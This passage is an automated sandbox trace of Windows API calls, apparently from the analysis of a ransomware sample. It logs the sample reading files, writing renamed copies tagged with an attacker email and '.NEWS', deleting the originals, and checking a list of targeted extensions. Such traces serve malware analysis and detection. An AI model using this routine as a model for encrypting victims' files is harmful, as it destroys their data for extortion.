lpFileSize=0x2d9ff1c*=67190) returned 1 [0047.241] CloseHandle (hObject=0x1c0) returned 1 [0047.241] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0047.241] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0047.241] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0047.241] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.241] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.241] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0047.242] GetLastError () returned 0x0 [0047.242] ReadFile (in: hFile=0x1c0, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x10676, lpOverlapped=0x0) returned 1 [0047.406] WriteFile (in: hFile=0x1a4, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0049.177] ReadFile (in: hFile=0x1c0, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.177] WriteFile (in: hFile=0x1a4, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.177] SetEndOfFile (hFile=0x1a4) returned 1 [0049.178] CloseHandle (hObject=0x1a4) returned 1 [0049.389] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.389] SetEndOfFile (hFile=0x1c0) returned 1 [0049.587] CloseHandle (hObject=0x1c0) returned 1 [0049.587] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0049.588] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0049.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.588] lstrlenW (lpString=".doc") returned 4 [0049.588] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0049.588] lstrlenW (lpString=".docx") returned 5 [0049.588] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0049.588] lstrlenW (lpString=".pdf") returned 4 [0049.588] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0049.588] lstrlenW (lpString=".xls") returned 4 [0049.588] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0049.588] lstrlenW (lpString=".xlsx") returned 5 [0049.588] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0049.588] lstrlenW (lpString=".ppt") returned 4 [0049.588] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0049.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.589] lstrlenW (lpString=".zip") returned 4 [0049.589] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0049.589] lstrlenW (lpString=".rar") returned 4 [0049.589] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0049.589] lstrlenW (lpString=".bz2") returned 4 [0049.589] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0049.589] lstrlenW (lpString=".7z") returned 3 [0049.589] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0049.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.589] lstrlenW (lpString=".dbf") returned 4 [0049.589] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0049.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.589] lstrlenW (lpString=".1cd") returned 4 [0049.589] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0049.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.589] lstrlenW (lpString=".jpg") returned 4 [0049.589] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0049.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.590] lstrlenW (lpString=".doc") returned 4 [0049.590] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0049.590] lstrlenW (lpString=".docx") returned 5 [0049.590] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0049.590] lstrlenW (lpString=".pdf") returned 4 [0049.590] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0049.590] lstrlenW (lpString=".xls") returned 4 [0049.590] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0049.590] lstrlenW (lpString=".xlsx") returned 5 [0049.590] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0049.590] lstrlenW (lpString=".ppt") returned 4 [0049.590] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0049.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.590] lstrlenW (lpString=".zip") returned 4 [0049.590] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0049.590] lstrlenW (lpString=".rar") returned 4 [0049.590] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0049.590] lstrlenW (lpString=".bz2") returned 4 [0049.590] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0049.590] lstrlenW (lpString=".7z") returned 3 [0049.590] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0049.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.590] lstrlenW (lpString=".dbf") returned 4 [0049.590] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0049.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.591] lstrlenW (lpString=".1cd") returned 4 [0049.591] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0049.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0049.591] lstrlenW (lpString=".jpg") returned 4 [0049.591] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0049.591] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0049.591] lstrlenW (lpString="Setup.xml") returned 9 [0049.592] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.997] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2624) returned 1 [0049.997] CloseHandle (hObject=0x1e4) returned 1 [0049.998] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0049.998] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0049.998] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.998] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.998] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.998] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.998] GetLastError () returned 0x0 [0049.998] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0xa40, lpOverlapped=0x0) returned 1 [0050.111] WriteFile (in: hFile=0x1fc, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0050.112] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.112] WriteFile (in: hFile=0x1fc, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.113] SetEndOfFile (hFile=0x1fc) returned 1 [0050.113] CloseHandle (hObject=0x1fc) returned 1 [0050.114] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.114] SetEndOfFile (hFile=0x1e4) returned 1 [0050.115] CloseHandle (hObject=0x1e4) returned 1 [0050.115] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0050.116] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0050.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.116] lstrlenW (lpString=".doc") returned 4 [0050.116] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.116] lstrlenW (lpString=".docx") returned 5 [0050.116] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0050.116] lstrlenW (lpString=".pdf") returned 4 [0050.116] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.116] lstrlenW (lpString=".xls") returned 4 [0050.116] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.116] lstrlenW (lpString=".xlsx") returned 5 [0050.116] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0050.116] lstrlenW (lpString=".ppt") returned 4 [0050.116] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.116] lstrlenW (lpString=".zip") returned 4 [0050.116] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.117] lstrlenW (lpString=".rar") returned 4 [0050.117] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.117] lstrlenW (lpString=".bz2") returned 4 [0050.117] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.117] lstrlenW (lpString=".7z") returned 3 [0050.117] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.117] lstrlenW (lpString=".dbf") returned 4 [0050.117] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.117] lstrlenW (lpString=".1cd") returned 4 [0050.117] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.117] lstrlenW (lpString=".jpg") returned 4 [0050.117] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.117] lstrlenW (lpString=".doc") returned 4 [0050.117] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.117] lstrlenW (lpString=".docx") returned 5 [0050.117] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0050.117] lstrlenW (lpString=".pdf") returned 4 [0050.118] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.118] lstrlenW (lpString=".xls") returned 4 [0050.118] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.118] lstrlenW (lpString=".xlsx") returned 5 [0050.118] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0050.118] lstrlenW (lpString=".ppt") returned 4 [0050.118] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.118] lstrlenW (lpString=".zip") returned 4 [0050.118] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.118] lstrlenW (lpString=".rar") returned 4 [0050.118] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.118] lstrlenW (lpString=".bz2") returned 4 [0050.118] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.118] lstrlenW (lpString=".7z") returned 3 [0050.118] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.118] lstrlenW (lpString=".dbf") returned 4 [0050.118] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.118] lstrlenW (lpString=".1cd") returned 4 [0050.118] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.119] lstrlenW (lpString=".jpg") returned 4 [0050.119] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.293] lstrcmpiW (lpString1=".EPS", lpString2=".NEWS") returned -1 [0050.293] lstrlenW (lpString="MS.EPS") returned 6 [0050.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.339] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=15067) returned 1 [0050.361] CloseHandle (hObject=0x20c) returned 1 [0050.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0050.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.371] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.371] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.372] GetLastError () returned 0x0 [0050.372] ReadFile (in: hFile=0x170, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0050.378] WriteFile (in: hFile=0x19c, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0050.381] ReadFile (in: hFile=0x170, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.381] WriteFile (in: hFile=0x19c, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0050.381] SetEndOfFile (hFile=0x19c) returned 1 [0050.381] CloseHandle (hObject=0x19c) returned 1 [0050.382] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.382] SetEndOfFile (hFile=0x170) returned 1 [0050.384] CloseHandle (hObject=0x170) returned 1 [0050.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0050.384] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0050.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.385] lstrlenW (lpString=".doc") returned 4 [0050.385] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0050.385] lstrlenW (lpString=".docx") returned 5 [0050.385] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0050.385] lstrlenW (lpString=".pdf") returned 4 [0050.385] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0050.385] lstrlenW (lpString=".xls") returned 4 [0050.385] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0050.385] lstrlenW (lpString=".xlsx") returned 5 [0050.385] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0050.385] lstrlenW (lpString=".ppt") returned 4 [0050.385] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0050.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.385] lstrlenW (lpString=".zip") returned 4 [0050.386] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0050.386] lstrlenW (lpString=".rar") returned 4 [0050.386] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0050.386] lstrlenW (lpString=".bz2") returned 4 [0050.386] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0050.386] lstrlenW (lpString=".7z") returned 3 [0050.386] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0050.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.386] lstrlenW (lpString=".dbf") returned 4 [0050.386] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0050.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.386] lstrlenW (lpString=".1cd") returned 4 [0050.386] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0050.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.386] lstrlenW (lpString=".jpg") returned 4 [0050.386] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0050.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.387] lstrlenW (lpString=".doc") returned 4 [0050.387] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0050.387] lstrlenW (lpString=".docx") returned 5 [0050.387] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0050.387] lstrlenW (lpString=".pdf") returned 4 [0050.387] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0050.387] lstrlenW (lpString=".xls") returned 4 [0050.387] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0050.387] lstrlenW (lpString=".xlsx") returned 5 [0050.387] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0050.387] lstrlenW (lpString=".ppt") returned 4 [0050.387] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0050.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.387] lstrlenW (lpString=".zip") returned 4 [0050.387] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0050.387] lstrlenW (lpString=".rar") returned 4 [0050.387] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0050.388] lstrlenW (lpString=".bz2") returned 4 [0050.388] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0050.388] lstrlenW (lpString=".7z") returned 3 [0050.388] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0050.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.388] lstrlenW (lpString=".dbf") returned 4 [0050.388] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0050.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.388] lstrlenW (lpString=".1cd") returned 4 [0050.388] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0050.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0050.388] lstrlenW (lpString=".jpg") returned 4 [0050.388] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0050.388] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0050.388] lstrlenW (lpString="Alphabet.xml") returned 12 [0050.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.401] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=791686) returned 1 [0050.401] CloseHandle (hObject=0x20c) returned 1 [0050.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft 